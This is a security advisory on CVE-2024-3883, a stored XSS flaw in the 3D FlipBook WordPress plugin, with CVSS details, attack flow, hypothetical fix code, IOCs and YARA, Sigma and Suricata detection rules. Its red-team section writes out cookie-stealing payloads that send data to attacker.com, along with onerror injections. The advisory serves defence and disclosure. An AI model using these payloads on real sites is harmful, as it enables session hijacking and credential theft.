CVE-2024-3883

Executive Summary

CVE-2024-3883 is a Stored Cross-Site Scripting (XSS) vulnerability in the Dearhive 3D FlipBook plugin for WordPress, affecting all versions up to and including 1.15.4. The flaw resides in the Bookmark URL field, where insufficient input sanitization and output escaping allow authenticated attackers with author-level access or higher to inject arbitrary web scripts. When a user accesses a page containing the malicious bookmark, the script executes in the context of the victim’s browser, potentially leading to session hijacking, credential theft, or further compromise of the WordPress site.

This vulnerability is particularly dangerous in multi-author WordPress environments, as it enables privilege escalation from author to administrator-level impact through XSS. The plugin is widely used for creating interactive 3D flipbooks, making it a high-value target for attackers seeking to compromise content management systems.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. No NPM, PyPI, Go, or Ruby packages are involved. The plugin is not open-source in the traditional sense, but the code is publicly available for analysis. The lack of a patch from the vendor (Dearhive) increases the risk for all sites using this plugin, as no official update exists to remediate the issue.

CVSS Breakdown & Threat Level

CVSS Score: 6.4 (Medium)
Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

• Attack Vector (AV): Network – The vulnerability can be exploited remotely over the network.
• Attack Complexity (AC): Low – No special conditions or race conditions are required.
• Privileges Required (PR): Low – An attacker needs author-level access to the WordPress site.
• User Interaction (UI): None – The victim does not need to perform any action beyond viewing the page.
• Scope (S): Changed – The vulnerable component impacts resources beyond its security scope (e.g., the browser of the victim).
• Confidentiality (C): Low – Limited information disclosure possible.
• Integrity (I): Low – Limited ability to modify content.
• Availability (A): None – No impact on availability.

Threat Level: Medium. While the CVSS score is moderate, the ease of exploitation (low complexity, no user interaction) and the potential for privilege escalation via XSS make this a serious threat for WordPress sites with multiple authors.

Deep Dive & Mechanics

The vulnerability exists in the Bookmark URL field of the 3D FlipBook plugin. When an author creates or edits a flipbook, they can add bookmarks with custom URLs. The plugin fails to properly sanitize the URL input and does not escape the output when rendering the bookmark on the frontend.

Attack Flow:

1. An authenticated user with author-level privileges logs into the WordPress admin panel.
2. The attacker creates a new flipbook or edits an existing one.
3. In the Bookmark URL field, the attacker injects a malicious JavaScript payload, such as javascript:alert(document.cookie) or a more sophisticated payload like "><img src=x onerror=alert(1)>.
4. The plugin stores the malicious input in the database without proper sanitization.
5. When any user (including administrators) views the flipbook page, the malicious script executes in their browser.
6. The attacker can then steal session cookies, perform actions on behalf of the victim, or redirect them to phishing pages.

Root Cause: The plugin uses esc_url() or similar functions incorrectly, or fails to apply esc_js() or wp_kses() to the bookmark URL field. The output is not escaped with esc_html() or esc_attr() when rendered in the frontend.

Vulnerable vs. Patched Code

Since no official patch exists, the following is a hypothetical fix based on common WordPress security practices.

Vulnerable Code (hypothetical):

// In the plugin's template file (e.g., flipbook.php)
echo '<a href="' . $bookmark_url . '">' . $bookmark_title . '</a>';

Patched Code (hypothetical):

// Properly sanitize and escape the URL
$bookmark_url = esc_url_raw( $bookmark_url );
echo '<a href="' . esc_url( $bookmark_url ) . '">' . esc_html( $bookmark_title ) . '</a>';

The patched version uses esc_url_raw() for database storage and esc_url() for output, which strips dangerous protocols like javascript: and encodes special characters.

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

• A WordPress site with the 3D FlipBook plugin (version <= 1.15.4) installed and activated.
• An account with author-level privileges or higher.

Exploitation Steps:

1. Log in to the WordPress admin panel as an author.
2. Navigate to 3D FlipBook > Add New or edit an existing flipbook.
3. In the Bookmark URL field, enter the following payload:

   javascript:fetch('https://attacker.com/steal?cookie='+document.cookie)
   

   Or for a more reliable XSS:

   "><img src=x onerror=alert(document.cookie)>
   

4. Save the flipbook and publish it.
5. Share the flipbook link with an administrator or any user.
6. When the victim views the flipbook, the script executes, sending their cookies to the attacker's server.

Alternative Payload (Steal Admin Credentials):

javascript:document.location='https://attacker.com/steal?data='+btoa(document.body.innerHTML)

Blue Team (Defender)

Detection Steps:

1. Monitor WordPress admin logs for unusual bookmark URL patterns.
2. Use the YARA and Sigma rules provided in the Detection Engineering section.
3. Regularly scan the database for malicious JavaScript in the wp_postmeta table (where flipbook data is stored).
4. Implement Content Security Policy (CSP) headers to block inline scripts.

Lab Setup:

• Use a local WordPress installation (e.g., via Docker or XAMPP).
• Install the vulnerable plugin version 1.15.4.
• Create an author account and an administrator account.
• Perform the exploitation steps to understand the attack flow.
• Apply the hypothetical patch to test detection.

Indicators of Compromise (IOCs)

File-Based IOCs:

• Modified plugin files (e.g., wp-content/plugins/3d-flipbook/).
• Suspicious entries in wp_postmeta with meta_key containing bookmark_url and meta_value containing javascript: or <script> tags.

Network IOCs:

• Outbound connections to unknown domains from the WordPress server.
• HTTP requests containing javascript: in the Referer header.

Log IOCs:

• WordPress admin logs showing bookmark URL updates with unusual characters.
• Web server logs with javascript: in the request URI.

Detection Engineering

YARA Rule

rule CVE_2024_3883_3D_FlipBook_XSS {
    meta:
        description = "Detects malicious bookmark URLs in 3D FlipBook plugin"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-3883"
    strings:
        $xss1 = /javascript\s*:/ nocase
        $xss2 = /<script[^>]*>/i
        $xss3 = /onerror\s*=/i
        $xss4 = /onload\s*=/i
        $xss5 = /alert\s*\(/i
    condition:
        any of ($xss*) and filesize < 10KB
}

Sigma Rule

title: CVE-2024-3883 - 3D FlipBook Stored XSS Detection
id: 3d8f7b2a-1c5e-4f9a-8b3c-6d7e2f1a0b4c
status: experimental
description: Detects stored XSS attempts via bookmark URL in 3D FlipBook plugin
author: Valters IT
date: 2024/01/01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        c-uri|contains:
            - '/wp-admin/admin-ajax.php'
            - '/wp-content/plugins/3d-flipbook/'
        cs-method: 'POST'
        cs-uri-query|contains:
            - 'action=flipbook_save'
            - 'bookmark_url'
        cs-uri-query|re:
            - 'javascript:'
            - '<script'
            - 'onerror='
    condition: selection
falsepositives:
    - Legitimate use of JavaScript bookmarks (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-3883 - 3D FlipBook Stored XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=flipbook_save"; http_client_body; pcre:"/(javascript:|<script|onerror=)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released by the vendor.
2. Restrict author-level privileges to trusted users only.
3. Implement a Web Application Firewall (WAF) rule to block requests containing javascript: or <script> in bookmark URL fields.

Long-Term Fix:

• Since no official patch exists, consider replacing the plugin with an alternative that is actively maintained.
• If you must continue using it, apply the hypothetical patch described in the Vulnerable vs. Patched Code section.
• Regularly monitor the plugin’s page for updates.

General Best Practices:

• Enforce the principle of least privilege for WordPress user roles.
• Use security plugins like Wordfence or Sucuri to detect and block XSS attempts.
• Conduct regular security audits of all installed plugins.

Valters IT
Securing Digital Frontiers